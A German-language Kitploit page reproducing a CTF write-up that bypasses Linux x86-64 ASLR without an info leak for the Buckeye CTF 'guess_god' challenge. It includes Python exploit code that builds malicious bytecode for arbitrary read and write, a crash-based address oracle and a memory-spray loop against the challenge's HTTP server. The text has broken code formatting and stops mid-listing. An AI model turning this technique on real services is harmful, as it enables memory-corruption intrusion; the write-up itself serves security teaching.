Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — ASLR-Bypass ohne Infoleak | Kitploit
Tools/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitationCTFLernen & BildungBinary-Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR-Bypass ohne Infoleak

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
167174vor 4 JahrenVon Kitploit geprüft
Teilen

64-Bit-ASLR unter Linux x86-64 brechen

In diesem Artikel bespreche ich die Anwendung der Technik, die von Samuel Groß in seinem Blogbeitrag Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass beschrieben wurde, um ASLR unter Linux x86_64 zu umgehen.

Um das zu zeigen, werde ich eine Pwnable-Challenge von Buckeye CTF lösen, nämlich guess_god.

Ich werde versuchen, den Inhalt so anfängerfreundlich wie möglich zu halten. Du kannst also gerne jeden Abschnitt überspringen, wenn du dich sicher genug fühlst und nur den Exploit sehen möchtest.

0. Einleitung


Ich habe nicht am CTF teilgenommen, aber ich wurde etwa 2 Stunden vor dem CTF-Ende dank Guray00 auf die Challenge aufmerksam, der im fibonhack-Discord nach Hilfe bei einigen Krypto-Spielereien fragte.

Ich konnte ihm nicht helfen, aber ich habe mir die Pwnable-Challenges angesehen und dachte, es wäre gut, den P0-Blogbeitrag zu verstehen und hoffentlich diese Bounty zu bekommen.

1. ASLR und wie man es umgeht

1.1 Was ist ASLR?

Address Space Layout Randomization (ASLR) ist eine Computersicherheitstechnik, bei der die Basisadresse einer ausführbaren Datei sowie die Position von Bibliotheken, Heap und Stack im Adressraum eines Prozesses zufällig positioniert werden.

1.2 ASLR unter Linux

Unter Linux kannst du die Mappings eines Prozesses anhand seiner PID über procfs einsehen, indem du die Datei /proc/<pid>/maps liest.

Wenn du selbst ein Prozess bist und deine eigenen Speicher-Mappings kennen möchtest, kannst du /proc/self/maps lesen.

Zum Beispiel kannst du versuchen, /proc/self/maps mit cat zu lesen:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### Memory-Mapping-Muster

Wenn du das ein paar Mal machst, kannst du Folgendes ableiten:
* Die PIE-Basis des Binaries sollte im Bereich 0x00005500_00000000-0x00005700_00000000 liegen, was 2TB möglicher Adressen bedeutet.
* Der Heap befindet sich in der Nähe des Binaries.
* Bibliotheken liegen im Bereich 0x00007f00_00000000 - 0x00007fff_ffffffff, also 1TB möglicher Adressen.
* Der Stack liegt \(meistens\) im Bereich 0x00007ffc_00000000 - 0x00007fff_ffffffff, also 16gb möglicher Adressen.
* Der Bereich 0xffffffffff600000 - 0xffffffffff601000 ist immer gemappt. Wenn du dich fragst, was es ist, kannst du [diesen Artikel](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) lesen.

## 1.3 So umgeht man ASLR ohne Infoleak

Lass uns besprechen, was du tun kannst, um ASLR zu umgehen, wenn kein Informationsleck möglich ist.

Dies ist mein Versuch, zusammenzufassen, was ich aus Saelos Blogpost mitgenommen habe.

Um ASLR zu umgehen, brauchst du:
* Eine Memory-Spraying-Technik, mit der du zusammenhängenden Speicher einer bestimmten Größe in einem bestimmten Adressbereich mappen kannst.
  
  Wie er sagt, gibt es zwei Möglichkeiten, das zu tun:
  1. Durch das Ausnutzen eines Memory-Leaks (kein Informationsleck!), also eines Fehlers, bei dem ein Speicherblock „vergessen“ und nie freigegeben wird, und durch das mehrmalige Auslösen dieses Fehlers, bis die gewünschte Menge an Speicher ausgelaufen ist.
  2. Durch das Finden und Ausnutzen eines „Amplification Gadgets“: ein Codeabschnitt, der einen vorhandenen Datenblock nimmt und ihn potenziell mehrfach kopiert, sodass der Angreifer eine große Menge an Speicher sprayen kann, indem er nur eine relativ kleine Anzahl von Bytes sendet.
* Ein `isAddressMapped`-Orakel, das dir für eine Adresse sagt, ob diese Adresse gemappt ist oder nicht.

### PoC zum ASLR-Bypass unter Linux

Lass uns versuchen, den PoC von saelo zu reproduzieren, um ASLR unter Linux vollständig zu brechen.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo's poc</i> <p/> <br/>

Unter Linux ist das nicht so einfach: Es ist möglich, ASLR nur dann vollständig zu brechen, wenn du in der Lage bist, 16gb Speicher zu allozieren.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

Hinweis zur glibc-Speicherallokation

Aus den Hinweisen von man malloc:

  • Normalerweise weist malloc() Speicher vom Heap zu und passt die Größe des Heaps bei Bedarf mit sbrk(2) an. Wenn Speicherblöcke größer als MMAP_THRESHOLD Bytes zugewiesen werden, weist die glibc-malloc()-Implementierung den Speicher als privates anonymes Mapping mittels mmap(2) zu. MMAP_THRESHOLD beträgt standardmäßig 128 kB, kann aber mit mallopt(3) angepasst werden. Zuweisungen über mmap(2) werden von der Ressourcengrenze RLIMIT_DATA nicht beeinflusst (siehe getrlimit(2)).

Somit führt void *mem = malloc(size) letztendlich zu einem Aufruf von mmap(size + malloc_metadata_size, ...).

Da Bibliotheken durch ld per mmap in den Prozess gemappt werden, landen diese Zuweisungen in der Nähe der Bibliotheken.

Trick zur Grenzüberschreitung

Wenn du dir die von malloc zurückgegebenen Adressen ansiehst, kannst du besser verstehen, was passiert. Profi-Tipp: Schau auf die höchstwertigen Bytes.

mem16-TB-Grenze überschritten?
0x7fb03b55e010Nein
0x7fa03b55d010Nein
0x7f903b55c010Nein
0x7f803b55b010Nein
0x7f703b55a010Nein
0x7f603b559010Nein
0x7f503b558010Nein
0x7f403b557010Nein
0x7f303b556010Nein
0x7f203b555010Nein
0x7f103b554010Nein
0x7f003b553010Nein
0x7ef03b552010Ja
0x7ee03b551010Ja
0x7ed03b550010Ja
0x7ec03b54f010Ja

Der PoC nutzt die Tatsache aus, dass sich an einem bestimmten Punkt das höchstwertige Byte der zurückgegebenen Adresse von 7F auf 7E ändert und, da die Zuweisungen zusammenhängend sind, sich in diesem Bereich etwas befinden muss. (Ja, wir wenden das Bolzano-Weirstress-Theorem an, um dieses Problem zu lösen!)

2 Die Challenge

Dank des Autors enthält das Zip Binaries, Quellcode und Dockerfile, um dieselbe Umgebung wie die entfernte zu reproduzieren.


2.1 Erster Zugang

Es ist immer gut, sich etwas Wissen über die Umgebung zu verschaffen. Schauen wir uns die Dateien an und machen ein paar Notizen.

  • jail.cfg setzt einige Einschränkungen. Vergessen wir diese Limits nicht, da sie den Exploit vermasseln könnten: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • Aus der Dockerfile können wir einige interessante Dinge lernen:
    1. oatpp 1.2.5 erstellen und installieren, vielleicht gibt es nützliche Bugs in dieser spezifischen Version?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. Es baut die Challenge von Grund auf neu

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      Das könnte ein Problem sein, also kopieren wir stattdessen die bereitgestellten Binärdateien.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • Und als Letztes: Überprüft die Schutzmechanismen der bereitgestellten Binärdateien.


    Schön, libkylezip.so ist mit Partial RELRO kompiliert, das bedeutet, dass das GOT beschreibbar ist. Behaltet das im Hinterkopf, wenn wir Codeausführung erreichen wollen.

2.2 Lokale Umgebung einrichten und die Anwendung untersuchen

Die Datei docker-compose.yml wird bereitgestellt, sodass es überhaupt nicht schwer ist, eine funktionierende lokale Umgebung zum Ausprobieren zu bekommen. Für diejenigen, die sich mit Docker nicht so sicher sind, hier die Liste der Befehle, die ihr kennen müsst, um die Challenge lokal zu untersuchen.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
Nachdem du `docker-compose build` ausgeführt hast, kannst du `docker-compose up` ausführen, um den Container zu starten, und dich mit `nc 127.0.0.1 9000` mit der Challenge verbinden.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. Analyse des Quellcodes

Da wir nun ein grundlegendes Wissen darüber haben, was wir tun müssen, um ASLR zu umgehen, schauen wir uns den Quellcode an, wobei wir Folgendes im Hinterkopf behalten:
* eine Möglichkeit, Speicher in bekannte Speicherbereiche zu sprayen
* ein isAddrMapped-Orakel

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Quellcode-Ordner </i><p/> 

Es ist größtenteils Glue-Code, um einen oatpp-Webserver zum Laufen zu bringen. Die wichtigen Dateien, die wir analysieren werden, sind:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

Es gibt 3 Endpunkte:
* `/`
* `GET /files/{fileId}` -> Lädt eine zuvor hochgeladene Datei herunter; wenn extract wahr ist, wird sie vor dem Herunterladen extrahiert.
* `POST /upload/{fileId}` -> Lädt eine Datei zu einer angegebenen {fileId} hoch.

Und eine Funktion, die in `MyController.cpp` implementiert ist.```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

welche:

  • Setze to_open auf {file_id} oder {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • Wenn wir zum ersten Mal die Extraktion von {file_id} anfordern, wird daraufhin die Dekomprimierung aufgerufen, die die dekomprimierte Datei von {file_id} in {file_id}.unkyle schreibt. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • Am Ende mmap das Ergebnis in den Speicher. ```C struct stat sb;

    if (fstat(fd, &sb) != 0) { return NULL; }

    /* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

Beobachtungen

  • fork() erzeugt einen neuen Prozess, indem der aufrufende Prozess dupliziert wird; zum Zeitpunkt von fork() haben beide Speicherbereiche denselben Inhalt.

    Wenn wir also decompress() in ein Orakel verwandeln können, das:

    • Bei ungültigen Adressen abstürzt
    • Bei gültigen Adressen nicht abstürzt

    könnten wir diese Primitive nutzen, um den Speicherbereich des Elternprozesses abzuleiten.

  • Es gibt einen Aufruf von mmap im Elternprozess: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

if we can control sb.st_size, welches die Größe der dekomprimierten Datei ist, könnten wir es leicht in eine Memory-Spraying-Primitive verwandeln.

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* Bildet die Eingabedatei auf die Adresse `0x42069000000` ab.
* Bildet die Ausgabedatei auf die Adresse `0x13371337000` ab.
* Ruft do_decompress() auf, das die Dekomprimierung durchführt.

Die Datei wird im folgenden Format erwartet:
| Offset | Name | Typ | Beschreibung |
| - | - | - | - | 
| +0h | magic | uint64 | ein magischer Wert, der 0x0123456789abcdef sein sollte |
| +8h | filesize | uint64 | Größe der dekomprimierten Datei |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

Sie können diese Funktion als eine einfache virtuelle Maschine betrachten, die den Bytecode, auf den in zeigt, ausführt und die Ausgabe in den Puffer schreibt, auf den out zeigt.

in zeigt auf unsere {file_id}.

out zeigt auf {file_id.unkyle}.

Diese VM hat 4 Opcodes:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    schreibt b nach out, erhöht out um 1.

    Opcode-Implementierung: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    setze out auf out + off.

    out und off sind 64-Bit-Werte, also ist out = out+off äquivalent zu out = (out+off) % MAX_64BIT_VALUE. Dies wird als Integer-Überlauf bezeichnet, und wir können dieses Verhalten ausnutzen, um jeden beliebigen 64-Bit-Wert zu erreichen. Beispiel: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    Result = 0xffffffff00000001

    That's the same as doing this

    M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    root@kitploit:~

Opcode-Implementierung: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
Kopiere `size` Bytes von `out - off` nach `out`, erhöhe `out` um 8.

Opcode-Implementierung:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

Es gibt keine Grenzprüfung in irgendeiner der Operationen, was uns 2 nützliche Primitive gibt:

  • Read What Where, durch Ausnutzung von SEEK+LOAD
  • Write What Where: durch Ausnutzung von SEEK+STORE

Ich habe diesen Code verwendet, um den Bytecode zu erstellen:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. Interaktion mit der Binärdatei

Bevor man in die Exploitation-Phase eintaucht, ist es immer gut, etwas zu bauen, das einem ermöglicht, einfach mit der Binärdatei zu interagieren, um keine Zeit zu verschwenden.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

Untersuche die Memory-Mappings der Challenge

Das war für mich sehr wichtig beim Lösen der Challenge; ich habe sehr lange auf die Memory-Mappings gestarrt.

Dazu kannst du eine lokale Instanz der Challenge starten und nach einigen Operationen die Memory-Maps des Prozesses lesen.


4.2 isAddrMapped-Orakel

Wir haben eine Read-What-Where-Primitive, daher ist es überhaupt nicht schwer, ein isAddressMapped-Orakel zu bauen.

Mein Ansatz war, diesen Bytecode zu bauen:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

Wenn targetAddress nicht gemappt ist, stürzt das Kindprogramm bei memcpy mit einem Segfault ab, was uns eine dekomprimierte Datei liefert, die mit Null-Bytes gefüllt ist.

Wenn targetAddress gemappt ist, enthält die dekomprimierte Datei ein b'\x41' als zweites Byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Memory-Spray-Primitive

Wir können die Größe der dekomprimierten Datei vollständig kontrollieren und erhalten ein mmap dieser Größe in [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).

In meinem Exploit habe ich die Funktion `isAddrMapped` verwendet und die Dateilänge (filelen) geändert.

Zum Beispiel versuchen wir, einen zusammenhängenden Block der Größe = 0x4000000 = 64 MB zu allozieren.```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

Das ist das Ergebnis:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
Wenn du es erneut versuchst:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

Das ist das Ergebnis:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Schön! Mehrere Allokationen werden keine Lücken haben.

## 4.4 Wie viel Speicher sprayen?

Wie du anhand [dieses POCs](#poc-of-aslr-bypass-on-linux) sehen kannst, wäre die ideale Größe für den zusammenhängend gemappten Speicher 16 TB.

Leider schlägt der mmap fehl, wenn du versuchst, 16 TB Speicher auf dem Remote-Server zu allokieren, weil [nsjail dies begrenzt](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

Nach einigem Ausprobieren fand ich heraus, dass ich ~3840mb Speicher mit diesem Code sprayen kann:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

die resultierenden Speicher-Mappings werden ungefähr so aussehen:

Memory-Spray-Ergebnis```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 